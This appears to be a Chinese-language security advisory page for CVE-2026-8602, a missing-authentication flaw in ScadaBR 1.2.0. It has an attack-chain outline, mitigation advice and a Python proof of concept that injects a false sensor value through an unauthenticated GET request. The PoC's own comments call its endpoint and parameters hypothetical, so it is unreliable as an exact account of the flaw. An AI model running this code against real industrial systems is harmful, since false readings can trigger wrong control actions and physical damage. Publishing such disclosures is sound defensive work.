CVE-2026-8602 CVSS 9.1 严重

CVE-2026-8602 ScadaBR关键功能认证缺失漏洞

披露日期: 2026-05-19

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-8602

漏洞类型

认证缺失

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ScadaBR

漏洞概述

ScadaBR 1.2.0版本中存在一个关键功能认证缺失漏洞。由于系统未对特定的传感器数据接口实施有效的身份验证机制，未经身份认证的远程攻击者可以通过发送特制的HTTP GET请求，向SCADA系统注入任意的传感器读数数据。该漏洞的成功利用可能导致系统监控数据的完整性被破坏，并可能因错误数据触发错误的自动化操作，进而对系统的可用性造成严重影响。

技术细节

该漏洞源于ScadaBR在处理关键功能请求时缺乏必要的权限校验逻辑。在默认配置下，负责接收或更新传感器数据的端点允许匿名访问。攻击者无需登录凭证，即可通过网络向受影响端点发送恶意构造的GET请求。利用该漏洞，攻击者可以篡改工业控制过程中的关键参数（如温度、压力、流量等）。这种数据注入不仅破坏了数据的完整性，还可能导致上位机系统基于虚假数据执行错误的控制指令，从而造成物理设备损坏或生产中断，符合CVSS向量中的高完整性影响和高可用性影响。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描网络，识别出运行ScadaBR 1.2.0版本的目标系统及其开放的Web服务端口。

STEP 2

2. 漏洞利用

攻击者构造包含恶意传感器读数参数的HTTP GET请求，直接发送至无需认证的关键接口。

STEP 3

3. 数据注入

目标系统接收并处理请求，将攻击者伪造的数据写入系统数据库或实时监控界面。

STEP 4

4. 影响达成

系统完整性受损，显示错误数据，可能触发错误的自动化控制逻辑，导致系统可用性下降或物理损坏。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

def exploit_scadabr(target_ip, target_port):
    # Target endpoint for data injection (Hypothetical path)
    url = f"http://{target_ip}:{target_port}/ScadaBR/http_ds"
    
    # Payload to inject arbitrary sensor reading
    # Assuming the system accepts 'pointId' and 'value' parameters
    params = {
        "pointId": "Temperature_Sensor_01",
        "value": "9999.99"  # Injecting an abnormal high value
    }

    try:
        print(f"[*] Sending unauthenticated request to {url}...")
        
        # Send HTTP GET request without authentication headers
        response = requests.get(url, params=params, timeout=10)

        if response.status_code == 200:
            print("[+] Exploit successful! Arbitrary sensor data injected.")
            print(f"[+] Server response: {response.text}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    target = "192.168.1.100"  # Replace with target IP
    port = "8080"            # Replace with target port
    exploit_scadabr(target, port)

影响范围

ScadaBR 1.2.0

防御指南

临时缓解措施

建议立即将ScadaBR系统部署在受信任的内网环境中，并仅允许受信任的IP地址访问。如果不能立即升级，应配置反向代理或应用层网关，对所有传入的HTTP请求强制进行身份验证，阻断未授权的访问请求。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表